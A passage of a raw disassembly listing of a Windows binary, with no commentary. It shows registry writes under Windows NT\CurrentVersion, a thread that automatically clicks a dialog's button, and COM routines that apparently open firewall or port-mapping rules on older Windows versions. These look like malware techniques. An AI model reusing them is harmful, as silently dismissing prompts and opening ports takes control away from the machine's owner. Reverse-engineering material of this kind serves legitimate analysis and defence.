					; sub_9A471B+13Ej ...
		push	ebx		; Str
		call	wcslen
		pop	ecx
		lea	ebx, [ebx+eax*2+2]
		mov	[ebp+var_50], ebx
		jmp	loc_9A481E
; ---------------------------------------------------------------------------


loc_9A48C4:				; CODE XREF: sub_9A471B+111j
					; sub_9A471B+11Aj
		cmp	[ebp+var_30], edi
		jz	short loc_9A48F1
		cmp	[ebp+arg_4], edi
		jz	short loc_9A48F1
		push	[ebp+var_3C]	; cbData
		push	[ebp+lpData]	; lpData
		push	7		; dwType
		push	edi		; Reserved
		push	[ebp+lpValueName] ; lpValueName
		push	[ebp+hKey]	; hKey
		call	RegSetValueExW
		mov	[ebp+var_40], eax
		cmp	eax, edi
		jnz	short loc_9A48F1
		mov	[ebp+var_30], 1


loc_9A48F1:				; CODE XREF: sub_9A471B+1ACj
					; sub_9A471B+1B1j ...
		mov	ebx, offset SubKey ; "SOFTWARE\\Microsoft\\Windows NT\\CurrentVe"...


loc_9A48F6:				; CODE XREF: sub_9A471B+CFj
					; sub_9A471B+D7j
		cmp	[ebp+lpData], edi
		jz	short loc_9A4904
		push	[ebp+lpData]	; hMem
		call	GlobalFree


loc_9A4904:				; CODE XREF: sub_9A471B+1DEj
		cmp	[ebp+Source], edi
		jz	short loc_9A4912
		push	[ebp+Source]	; hMem
		call	GlobalFree


loc_9A4912:				; CODE XREF: sub_9A471B+AAj
					; sub_9A471B+1ECj
		push	[ebp+hKey]	; hKey
		call	RegCloseKey


loc_9A491B:				; CODE XREF: sub_9A471B+73j
		cmp	[ebp+var_34], edi
		jz	short loc_9A4934
		push	[ebp+var_34]	; int
		push	[ebp+psidOwner]	; psidOwner
		push	ebx		; int
		push	80000002h	; int
		call	sub_9A70DD
		add	esp, 10h


loc_9A4934:				; CODE XREF: sub_9A471B+203j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	nullsub_2
		mov	eax, [ebp+var_30]
		call	__SEH_epilog
		retn
sub_9A471B	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; BOOL __stdcall fn(HWND,LPARAM)

fn		proc near		; DATA XREF: sub_9A4977+15o

hDlg		= dword	ptr  4

		push	1		; nIDDlgItem
		push	[esp+4+hDlg]	; hDlg
		call	GetDlgItem
		test	eax, eax
		jz	short loc_9A4971
		push	0		; lParam
		push	0		; wParam
		push	0F5h		; Msg
		push	eax		; hWnd
		call	PostMessageA
		mov	dword_9BB2E4, 1


loc_9A4971:				; CODE XREF: fn+Ej
		xor	eax, eax
		inc	eax
		retn	8
fn		endp


; =============== S U B	R O U T	I N E =======================================


; DWORD	__stdcall sub_9A4977(LPVOID)

sub_9A4977	proc near		; DATA XREF: sub_9A49B2+12Fo

dwThreadId	= dword	ptr  4

		and	dword_9BB2E4, 0
		push	esi
		xor	esi, esi


loc_9A4981:				; CODE XREF: sub_9A4977+33j
		cmp	dword_9BB2E4, 0
		jnz	short loc_9A49AC
		push	0		; lParam
		push	offset fn	; lpfn
		push	[esp+0Ch+dwThreadId] ; dwThreadId
		call	EnumThreadWindows
		push	0Ah		; dwMilliseconds
		call	Sleep
		inc	esi
		cmp	esi, 5DCh
		jl	short loc_9A4981


loc_9A49AC:				; CODE XREF: sub_9A4977+11j
		xor	eax, eax
		pop	esi
		retn	4
sub_9A4977	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A49B2	proc near		; CODE XREF: sub_9A4B7B+5Ep

pvarg		= VARIANTARG ptr -38h
ExitCode	= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		mov	eax, [ebx]
		push	esi
		lea	ecx, [ebp+var_1C]
		push	ecx
		xor	esi, esi
		push	ebx
		mov	[ebp+var_1C], esi
		call	dword ptr [eax+2Ch]
		mov	eax, [ebp+var_1C]
		cmp	eax, esi
		jz	loc_9A4B78
		lea	edx, [ebp+var_14]
		push	edx
		mov	[ebp+var_8], esi
		mov	[ebp+var_14], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]
		mov	eax, [ebp+var_14]
		cmp	eax, esi
		jz	short loc_9A4A01
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_9A27DC
		push	eax
		call	dword ptr [ecx]
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4A01:				; CODE XREF: sub_9A49B2+36j
		cmp	[ebp+var_8], esi
		jz	loc_9A4B6F
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+pvarg]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_9A4B66
		push	edi


loc_9A4A2D:				; CODE XREF: sub_9A49B2+1ADj
		cmp	word ptr [ebp+pvarg.anonymous_0], 0Dh
		jnz	loc_9A4B43
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_9A27CC
		mov	[ebp+var_4], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		cmp	[ebp+var_4], esi
		jz	loc_9A4B43
		mov	eax, [ebx]
		lea	ecx, [ebp+var_10]
		push	ecx
		push	[ebp+var_4]
		mov	[ebp+var_10], esi
		push	ebx
		call	dword ptr [eax+30h]
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jz	loc_9A4B3A
		lea	edx, [ebp+var_20]
		push	edx
		mov	[ebp+var_20], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		test	byte ptr [ebp+var_20+1], 4
		jz	loc_9A4B31
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_18]
		push	edx
		mov	[ebp+var_18], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		cmp	[ebp+var_18], 8
		jz	loc_9A4B31
		cmp	[ebp+var_18], 9
		jz	loc_9A4B31
		mov	eax, [ebx]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	[ebp+var_4]
		mov	[ebp+var_C], esi
		push	ebx
		call	dword ptr [eax+28h]
		mov	eax, [ebp+var_C]
		cmp	eax, esi
		jz	short loc_9A4B31
		lea	edx, [ebp+var_24]
		push	edx
		mov	[ebp+var_24], esi
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+2Ch]
		cmp	word ptr [ebp+var_24], si
		jz	short loc_9A4B28
		lea	eax, [ebp+ExitCode]
		push	eax		; lpThreadId
		push	esi		; dwCreationFlags
		call	GetCurrentThreadId
		push	eax		; lpParameter
		push	offset sub_9A4977 ; lpStartAddress
		push	esi		; dwStackSize
		push	esi		; lpThreadAttributes
		call	CreateThread
		push	64h		; dwMilliseconds
		mov	edi, eax
		call	Sleep
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		lea	eax, [ebp+ExitCode]
		push	eax		; lpExitCode
		push	edi		; hThread
		call	GetExitCodeThread
		test	eax, eax
		jz	short loc_9A4B21
		cmp	[ebp+ExitCode],	103h
		jnz	short loc_9A4B21
		push	esi		; dwExitCode
		push	edi		; hThread
		call	TerminateThread


loc_9A4B21:				; CODE XREF: sub_9A49B2+15Cj
					; sub_9A49B2+165j
		push	edi		; hObject
		call	CloseHandle


loc_9A4B28:				; CODE XREF: sub_9A49B2+121j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B31:				; CODE XREF: sub_9A49B2+CFj
					; sub_9A49B2+E9j ...
		mov	eax, [ebp+var_10]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B3A:				; CODE XREF: sub_9A49B2+B8j
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B43:				; CODE XREF: sub_9A49B2+80j
					; sub_9A49B2+9Dj
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+pvarg]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jz	loc_9A4A2D
		pop	edi


loc_9A4B66:				; CODE XREF: sub_9A49B2+74j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B6F:				; CODE XREF: sub_9A49B2+52j
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4B78:				; CODE XREF: sub_9A49B2+1Bj
		pop	esi
		leave
		retn
sub_9A49B2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; DWORD	__stdcall sub_9A4B7B(LPVOID)

sub_9A4B7B	proc near		; DATA XREF: sub_9A4FEF+Co

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
ppv		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	14h
		push	offset stru_9A2810
		call	__SEH_prolog
		push	6		; dwCoInit
		xor	esi, esi
		push	esi		; pvReserved
		call	CoInitializeEx
		mov	[ebp+var_20], eax
		cmp	eax, 80010106h
		jz	short loc_9A4BA0
		cmp	eax, esi
		jl	short loc_9A4BFA


loc_9A4BA0:				; CODE XREF: sub_9A4B7B+1Fj
		push	esi		; pReserved3
		push	esi		; dwCapabilities
		push	esi		; pAuthList
		push	3		; dwImpLevel
		push	4		; dwAuthnLevel
		push	esi		; pReserved1
		push	esi		; asAuthSvc
		push	0FFFFFFFFh	; cAuthSvc
		push	esi		; pSecDesc
		call	CoInitializeSecurity
		mov	[ebp+ms_exc.disabled], esi
		mov	[ebp+ppv], esi
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset stru_9A27FC ; riid
		push	17h		; dwClsContext
		push	esi		; pUnkOuter
		push	offset stru_9A27EC ; rclsid
		call	CoCreateInstance
		mov	[ebp+var_24], eax
		mov	ebx, [ebp+ppv]
		cmp	ebx, esi
		jz	short loc_9A4BE7
		call	sub_9A49B2
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4BE7:				; CODE XREF: sub_9A4B7B+5Cj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_9A4BFA
; ---------------------------------------------------------------------------


loc_9A4BED:				; DATA XREF: .text:stru_9A2810o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A4BF1:				; DATA XREF: .text:stru_9A2810o
		mov	esp, [ebp+ms_exc.old_esp]
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		xor	esi, esi


loc_9A4BFA:				; CODE XREF: sub_9A4B7B+23j
					; sub_9A4B7B+70j
		cmp	[ebp+var_20], esi
		jl	short loc_9A4C05
		call	CoUninitialize


loc_9A4C05:				; CODE XREF: sub_9A4B7B+82j
		xor	eax, eax
		call	__SEH_epilog
		retn	4
sub_9A4B7B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4C0F	proc near		; CODE XREF: sub_9A5033+40p
					; sub_9A514A+65p

ppv		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		xor	esi, esi
		push	6		; dwCoInit
		push	esi		; pvReserved
		mov	[ebp+ppv], esi
		mov	[ebp+var_4], esi
		mov	[edi], esi
		call	CoInitializeEx
		mov	ebx, eax
		cmp	ebx, 80010106h
		jz	short loc_9A4C37
		cmp	ebx, esi
		jl	short loc_9A4C6D


loc_9A4C37:				; CODE XREF: sub_9A4C0F+22j
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset riid	; riid
		push	1		; dwClsContext
		push	esi		; pUnkOuter
		push	offset rclsid	; rclsid
		call	CoCreateInstance
		test	eax, eax
		jl	short loc_9A4C6D
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	short loc_9A4C6D
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+1Ch]


loc_9A4C6D:				; CODE XREF: sub_9A4C0F+26j
					; sub_9A4C0F+41j ...
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jz	short loc_9A4C7A
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4C7A:				; CODE XREF: sub_9A4C0F+63j
		mov	eax, [ebp+ppv]
		cmp	eax, esi
		jz	short loc_9A4C87
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4C87:				; CODE XREF: sub_9A4C0F+70j
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9A4C0F	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A4C8D	proc near		; CODE XREF: sub_9A5033+EEp
					; sub_9A514A+C5p

arg_0		= dword	ptr  4

		test	eax, eax
		jz	short loc_9A4C97
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4C97:				; CODE XREF: sub_9A4C8D+2j
		cmp	[esp+arg_0], 0
		jl	short locret_9A4CA4
		jmp	CoUninitialize
; ---------------------------------------------------------------------------

locret_9A4CA4:				; CODE XREF: sub_9A4C8D+Fj
		retn
sub_9A4C8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A4CA5	proc near		; CODE XREF: sub_9A4D36+3Cp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	dword ptr [ebx], 0
		mov	ecx, [eax]
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		push	esi
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		call	dword ptr [ecx+48h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_9A4D17
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		call	dword ptr [ecx+28h]
		test	eax, eax
		jl	short loc_9A4D15
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		call	dword ptr [ecx+4Ch]
		mov	esi, eax
		test	esi, esi
		jl	short loc_9A4D17
		cmp	word ptr [ebp+var_C], 0
		jnz	short loc_9A4D0D
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	0FFFFFFFFh
		push	eax
		call	dword ptr [ecx+50h]
		mov	esi, eax
		test	esi, esi
		jl	short loc_9A4D17
		or	[ebp+var_C], 0FFFFFFFFh


loc_9A4D0D:				; CODE XREF: sub_9A4CA5+51j
		mov	dword ptr [ebx], 1
		jmp	short loc_9A4D17
; ---------------------------------------------------------------------------


loc_9A4D15:				; CODE XREF: sub_9A4CA5+37j
		xor	esi, esi


loc_9A4D17:				; CODE XREF: sub_9A4CA5+20j
					; sub_9A4CA5+4Aj ...
		mov	eax, [ebp+var_4]
		test	eax, eax
		jz	short loc_9A4D24
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4D24:				; CODE XREF: sub_9A4CA5+77j
		mov	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_9A4D31
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4D31:				; CODE XREF: sub_9A4CA5+84j
		mov	eax, esi
		pop	esi
		leave
		retn
sub_9A4CA5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A4D36(int,int,OLECHAR *psz)

sub_9A4D36	proc near		; CODE XREF: sub_9A5033+C6p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
ppv		= dword	ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
psz		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		lea	ecx, [ebp+var_4]
		mov	esi, eax
		mov	eax, [esi]
		xor	edi, edi
		push	ecx
		push	esi
		mov	[ebp+var_14], edi
		mov	[ebp+ppv], edi
		mov	[ebp+var_C], edi
		call	dword ptr [eax+28h]
		test	eax, eax
		jl	short loc_9A4D67
		cmp	[ebp+var_4], di
		jz	short loc_9A4D67
		mov	eax, [esi]
		push	edi
		push	esi
		call	dword ptr [eax+2Ch]


loc_9A4D67:				; CODE XREF: sub_9A4D36+22j
					; sub_9A4D36+28j
		push	[ebp+arg_4]
		lea	ebx, [ebp+var_10]
		push	[ebp+arg_0]
		mov	eax, esi
		call	sub_9A4CA5
		mov	ebx, eax
		cmp	ebx, edi
		pop	ecx
		pop	ecx
		jl	loc_9A4E1A
		cmp	[ebp+var_10], edi
		jnz	loc_9A4E1A
		mov	eax, [esi]
		lea	ecx, [ebp+var_C]
		push	ecx
		push	esi
		call	dword ptr [eax+48h]
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1A
		lea	eax, [ebp+ppv]
		push	eax		; ppv
		push	offset stru_9A284C ; riid
		push	1		; dwClsContext
		push	edi		; pUnkOuter
		push	offset stru_9A283C ; rclsid
		call	CoCreateInstance
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1A
		mov	eax, [ebp+ppv]
		push	[ebp+arg_0]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+38h]
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1A
		mov	eax, [ebp+ppv]
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+30h]
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1A
		push	[ebp+psz]	; psz
		call	SysAllocString
		mov	esi, eax
		push	esi		; BSTR
		call	SysStringLen
		test	eax, eax
		jnz	short loc_9A4DFA
		mov	ebx, 8007000Eh
		jmp	short loc_9A4E1D
; ---------------------------------------------------------------------------


loc_9A4DFA:				; CODE XREF: sub_9A4D36+BBj
		mov	eax, [ebp+ppv]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		cmp	ebx, edi
		jl	short loc_9A4E1D
		mov	eax, [ebp+var_C]
		push	[ebp+ppv]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		jmp	short loc_9A4E1D
; ---------------------------------------------------------------------------


loc_9A4E1A:				; CODE XREF: sub_9A4D36+47j
					; sub_9A4D36+50j ...
		mov	esi, [ebp+var_14]


loc_9A4E1D:				; CODE XREF: sub_9A4D36+C2j
					; sub_9A4D36+D2j ...
		push	esi		; bstrString
		call	SysFreeString
		mov	eax, [ebp+ppv]
		cmp	eax, edi
		jz	short loc_9A4E31
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4E31:				; CODE XREF: sub_9A4D36+F3j
		mov	eax, [ebp+var_C]
		cmp	eax, edi
		jz	short loc_9A4E3E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4E3E:				; CODE XREF: sub_9A4D36+100j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_9A4D36	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_9A4E45(wchar_t *Str2)

sub_9A4E45	proc near		; CODE XREF: sub_9A514A+97p

pvarg		= VARIANTARG ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
bstrString	= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str2		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	ecx, [eax]
		push	edi
		xor	edi, edi
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		mov	[ebp+bstrString], edi
		mov	[ebp+var_4], edi
		mov	[ebp+var_C], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_8], edi
		call	dword ptr [ecx+48h]
		cmp	eax, edi
		jl	loc_9A4F8D
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	esi
		lea	edx, [ebp+var_14]
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		mov	esi, eax
		cmp	esi, edi
		jl	loc_9A4F81
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset dword_9A27DC
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		cmp	esi, edi
		jl	loc_9A4F78
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		xor	esi, esi
		push	eax
		inc	esi
		call	dword ptr [ecx+14h]
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantInit


loc_9A4EB8:				; CODE XREF: sub_9A4E45+124j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	edi
		lea	edx, [ebp+pvarg]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+0Ch]
		test	eax, eax
		jnz	loc_9A4F6F
		mov	eax, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset stru_9A284C
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_9A4F5C
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+bstrString]
		push	edx
		push	eax
		call	dword ptr [ecx+1Ch]
		test	eax, eax
		jl	short loc_9A4F53
		push	[ebp+Str2]	; Str
		call	wcslen
		push	eax		; MaxCount
		push	[ebp+Str2]	; Str2
		push	[ebp+bstrString] ; Str1
		call	wcsncmp
		add	esp, 10h
		test	eax, eax
		jnz	short loc_9A4F4A
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_1C]
		push	edx
		push	eax
		call	dword ptr [ecx+34h]
		test	eax, eax
		jl	short loc_9A4F4A
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_18]
		push	edx
		push	eax
		call	dword ptr [ecx+2Ch]
		test	eax, eax
		jl	short loc_9A4F4A
		push	[ebp+var_18]
		mov	eax, [ebp+var_C]
		push	[ebp+var_1C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+24h]
		test	eax, eax
		jl	short loc_9A4F4A
		xor	esi, esi


loc_9A4F4A:				; CODE XREF: sub_9A4E45+CCj
					; sub_9A4E45+DDj ...
		push	[ebp+bstrString] ; bstrString
		call	SysFreeString


loc_9A4F53:				; CODE XREF: sub_9A4E45+AFj
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4F5C:				; CODE XREF: sub_9A4E45+9Ej
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		cmp	esi, 1
		jz	loc_9A4EB8


loc_9A4F6F:				; CODE XREF: sub_9A4E45+85j
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4F78:				; CODE XREF: sub_9A4E45+57j
		mov	eax, [ebp+var_14]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_9A4F81:				; CODE XREF: sub_9A4E45+3Cj
		mov	eax, [ebp+var_C]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	eax, esi
		pop	esi


loc_9A4F8D:				; CODE XREF: sub_9A4E45+24j
		pop	edi
		leave
		retn
sub_9A4E45	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=78h


sub_9A4F90	proc near		; CODE XREF: sub_9B6504+31p

VersionInformation= _OSVERSIONINFOA ptr	-0A0h
var_C		= word ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		lea	ebp, [esp-78h]
		sub	esp, 0A0h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+78h+var_4], eax
		lea	eax, [ebp+78h+VersionInformation]
		push	eax		; lpVersionInformation
		mov	[ebp+78h+VersionInformation.dwOSVersionInfoSize], 9Ch
		call	GetVersionExA
		test	eax, eax
		jz	short loc_9A4FDE
		cmp	[ebp+78h+VersionInformation.dwMajorVersion], 5
		jnz	short loc_9A4FDE
		xor	eax, eax
		inc	eax
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], eax
		jnz	short loc_9A4FD1
		cmp	[ebp+78h+var_C], 2
		jnb	short loc_9A4FDE
		jmp	short loc_9A4FE0
; ---------------------------------------------------------------------------


loc_9A4FD1:				; CODE XREF: sub_9A4F90+36j
		cmp	[ebp+78h+VersionInformation.dwMinorVersion], 2
		jnz	short loc_9A4FDE
		cmp	[ebp+78h+var_C], 0
		jz	short loc_9A4FE0


loc_9A4FDE:				; CODE XREF: sub_9A4F90+28j
					; sub_9A4F90+2Ej ...
		xor	eax, eax


loc_9A4FE0:				; CODE XREF: sub_9A4F90+3Fj
					; sub_9A4F90+4Cj
		mov	ecx, [ebp+78h+var_4]
		xor	ecx, ebp
		call	sub_9AAAC1
		add	ebp, 78h
		leave
		retn
sub_9A4F90	endp


; =============== S U B	R O U T	I N E =======================================



sub_9A4FEF	proc near		; CODE XREF: sub_9B6504:loc_9B1FE0p

ThreadId	= dword	ptr -4

		push	ecx
		push	esi
		push	edi
		lea	eax, [esp+0Ch+ThreadId]
		push	eax		; lpThreadId
		xor	edi, edi
		push	edi		; dwCreationFlags
		push	edi		; lpParameter
		push	offset sub_9A4B7B ; lpStartAddress
		push	edi		; dwStackSize
		push	edi		; lpThreadAttributes
		call	CreateThread
		mov	esi, eax
		push	2710h		; dwMilliseconds
		push	esi		; hHandle
		call	WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_9A5025
		push	edi		; dwExitCode
		push	esi		; hThread
		call	TerminateThread


loc_9A5025:				; CODE XREF: sub_9A4FEF+2Cj
		push	esi		; hObject
		call	CloseHandle
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		pop	ecx
		retn
sub_9A4FEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A5033	proc near		; CODE XREF: sub_9AE400+14F2p

var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_434		= dword	ptr -434h
var_430		= dword	ptr -430h
var_42C		= byte ptr -42Ch
var_328		= byte ptr -328h
psz		= word ptr -224h
var_1E		= word ptr -1Eh
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= word ptr  8
arg_4		= dword	ptr  0Ch

		push	42Ch
		push	offset stru_9A2868
		call	__SEH_prolog
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+var_1C], eax
		xor	ebx, ebx
		mov	[ebp+var_434], ebx
		mov	[ebp+ms_exc.disabled], ebx
		mov	[ebp+var_43C], ebx
		mov	[ebp+var_438], 80004005h
		mov	[ebp+var_430], ebx
		lea	edi, [ebp+var_430]
		call	sub_9A4C0F
		mov	[ebp+var_438], eax
		cmp	[ebp+var_430], ebx
		jz	loc_9A5115
		movzx	esi, [ebp+arg_0]
		lea	eax, [ebp+var_328]
		push	eax
		xor	eax, eax
		cmp	[ebp+arg_4], 6
		setnz	al
		inc	eax
		push	eax
		mov	eax, esi
		xor	eax, 2ABC1DEFh
		push	eax
		call	sub_9AE860
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_42C]
		push	eax
		call	sub_9AEE40
		pop	ecx
		push	eax
		push	offset aSS_0	; "%S %S"
		push	104h		; Count
		lea	eax, [ebp+psz]
		push	eax		; Dest
		call	_snwprintf
		mov	[ebp+var_1E], bx
		lea	eax, [ebp+psz]
		push	eax		; psz
		xor	eax, eax
		cmp	[ebp+arg_4], 6
		setnz	al
		dec	eax
		and	eax, 0FFFFFFF5h
		add	eax, 11h
		push	eax		; int
		push	esi		; int
		mov	eax, [ebp+var_430]
		call	sub_9A4D36
		add	esp, 20h
		mov	[ebp+var_43C], eax
		cmp	eax, ebx
		jl	short loc_9A5115
		mov	[ebp+var_434], 1


loc_9A5115:				; CODE XREF: sub_9A5033+51j
					; sub_9A5033+D6j
		push	[ebp+var_438]
		mov	eax, [ebp+var_430]
		call	sub_9A4C8D
		pop	ecx
		jmp	short loc_9A5130
; ---------------------------------------------------------------------------


loc_9A5129:				; DATA XREF: .text:stru_9A2868o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9A512D:				; DATA XREF: .text:stru_9A2868o
		mov	esp, [ebp+ms_exc.old_esp]


loc_9A5130:				; CODE XREF: sub_9A5033+F4j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	eax, [ebp+var_434]
		mov	ecx, [ebp+var_1C]
		xor	ecx, ebp
		call	sub_9AAAC1
		call	__SEH_epilog
		retn
sub_9A5033	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_9A514A	proc near		; CODE XREF: sub_9B6504:loc_9B5F40p

